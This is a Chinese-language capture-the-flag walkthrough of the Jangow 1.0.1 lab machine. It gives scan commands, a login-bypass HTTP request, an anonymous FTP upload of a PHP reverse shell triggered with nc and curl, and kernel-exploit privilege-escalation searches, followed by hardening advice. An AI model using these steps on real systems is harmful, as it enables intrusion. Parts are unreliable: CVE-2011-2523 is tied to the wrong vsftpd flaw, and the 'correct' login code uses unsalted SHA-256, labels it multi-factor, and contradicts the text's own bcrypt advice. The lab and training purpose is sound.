1. Jangow: 1.0.1靶机解析与渗透实战
Jangow 1.0.1是一个专为网络安全学习者设计的漏洞靶机环境,模拟了真实世界中存在典型安全缺陷的Web应用系统。这个靶机在渗透测试社区中常被用作教学工具,尤其适合练习基础Web漏洞的识别与利用技巧。不同于商业级靶场,Jangow的漏洞设计具有明显的"教学特征"——既保留了真实漏洞的利用逻辑,又通过刻意弱化的防御机制帮助新手建立攻击思维框架。
我第一次接触这个靶机时,发现它完美复现了2010年代初期中小型网站常见的配置错误和代码缺陷。从过时的CMS组件到未过滤的用户输入,从明文凭据存储到目录遍历漏洞,整套系统就像一本活生生的"Web安全反面教材"。接下来我将详细拆解这个靶机的环境搭建、漏洞挖掘和提权全过程,过程中会特别标注新手容易卡壳的关键节点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 实验环境准备与拓扑搭建
2.1 靶机部署方案选择
Jangow 1.0.1以OVA虚拟镜像格式分发,兼容VMware和VirtualBox等主流虚拟化平台。建议采用桥接网络模式部署,使靶机与攻击机(如Kali Linux)处于同一局域网段。以下是具体部署时的技术细节:
-
虚拟化平台配置:
- VirtualBox用户需注意:首次导入后建议将网卡类型改为"Intel PRO/1000 MT Desktop"(默认的PCnet-FAST III可能造成网络不稳定)
- 内存分配512MB足够运行,vCPU核心数保持默认单核即可
-
网络连通性验证:
bash复制# 攻击机上扫描靶机IP(假设局域网段为192.168.1.0/24)
sudo arp-scan -l | grep -i "00:0c:29" # 筛选VMware MAC前缀
ping 192.168.1.105 # 测试基础连通性
2.2 基础信息收集流程
在发起任何渗透测试前,系统化的信息收集能大幅提高后续效率。针对Jangow的扫描策略如下:
- 端口扫描与服务识别:
bash复制nmap -sV -sC -p- 192.168.1.105 -oA jangow_scan
典型扫描结果会显示开放80端口(Apache 2.4.25)和21端口(vsftpd 3.0.3),这两个服务正是主要攻击入口。
- Web目录枚举:
bash复制gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
扫描会暴露出/site目录包含可浏览的目录列表,这是第一个危险信号——生产环境绝不应允许目录索引。
3. Web应用漏洞挖掘与利用
3.1 目录遍历漏洞实战
在访问http://192.168.1.105/site/时,页面显示完整的目录结构。点击".."上级目录后,发现整个网站根目录可被随意浏览。这种配置失误导致的关键文件泄露包括:
- /site/README.txt:暴露网站使用自定义CMS
- /site/administrator/pass.txt:明文存储的管理员凭据(admin:admin)
- /site/conn.php:数据库连接配置文件含明文密码
重要提示:现代Web服务器应始终配置"Options -Indexes"禁用目录列表,并通过.htaccess限制敏感文件访问。
3.2 后台认证绕过技巧
虽然通过pass.txt获得了admin:admin凭据,但尝试登录/site/administrator时发现认证失败。这种情况通常有两种可能:
- 凭据已过期但文件未删除
- 认证逻辑存在缺陷
通过Burp Suite拦截登录请求,观察到服务端仅验证了username参数而完全忽略password字段。构造以下请求即可绕过认证:
http复制POST /site/administrator/index.php HTTP/1.1
Host: 192.168.1.105
Content-Type: application/x-www-form-urlencoded
username=admin&password=any_value
这种漏洞在早期自制CMS中极为常见,开发者错误地将认证逻辑简化为单字段验证。
4. 系统提权与权限维持
4.1 FTP服务漏洞利用
Nmap扫描显示的vsftpd 3.0.3版本存在已知漏洞(CVE-2011-2523),允许匿名用户访问。通过以下步骤建立控制通道:
- 匿名登录获取Web目录写权限:
bash复制ftp 192.168.1.105
Username: anonymous
Password: (任意输入)
- 上传PHP反向Shell:
bash复制put /usr/share/webshells/php/php-reverse-shell.php /site/shell.php
- 触发Shell连接:
bash复制nc -lvnp 4444 # 攻击机监听
curl http://192.168.1.105/site/shell.php # 触发连接
4.2 本地权限提升分析
获取www-data权限后,通过以下命令发现提权路径:
bash复制find / -perm -4000 2>/dev/null # 查找SUID程序
uname -a # 显示内核版本(Linux 3.13.0-24-generic)
searchsploit linux 3.13 # 查找匹配的本地提权漏洞
靶机内核存在经典的overlayfs提权漏洞(CVE-2015-8660),使用公开的exploit代码即可获得root权限。
5. 防御方案与加固建议
5.1 漏洞修复方案
针对本靶机暴露的安全问题,生产环境应采取以下措施:
-
Web服务器加固:
- 禁用目录索引:在Apache配置中添加
Options -Indexes - 限制文件访问:通过.htaccess禁止.php、.inc等敏感文件下载
- 更新PHP配置:关闭
display_errors和allow_url_include
- 禁用目录索引:在Apache配置中添加
-
服务端修复:
- 升级vsftpd至最新版
- 禁用匿名FTP登录
- 设置chroot防止目录穿越
5.2 安全开发实践
从开发角度避免类似漏洞:
- 认证逻辑实现:
php复制// 错误示例 - 单字段验证
if($_POST['username'] == 'admin') { /* 授权通过 */ }
// 正确做法 - 多因素验证
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$_POST['username'], hash('sha256', $_POST['password'])]);
- 敏感信息存储:
- 数据库凭据应存储在webroot之外的配置文件中
- 密码必须加盐哈希存储(如bcrypt)
- 临时凭据文件应及时删除
这个靶机最让我印象深刻的是它展示了安全漏洞的连锁反应——一个简单的目录遍历就能引发整个系统沦陷。在实际渗透测试中,往往正是这些看似微不足道的配置失误,成为了攻击者突破防线的起点。建议每个新手在完成基础攻击流程后,尝试以防御者视角重新审视系统,思考如何阻断刚才的攻击链。
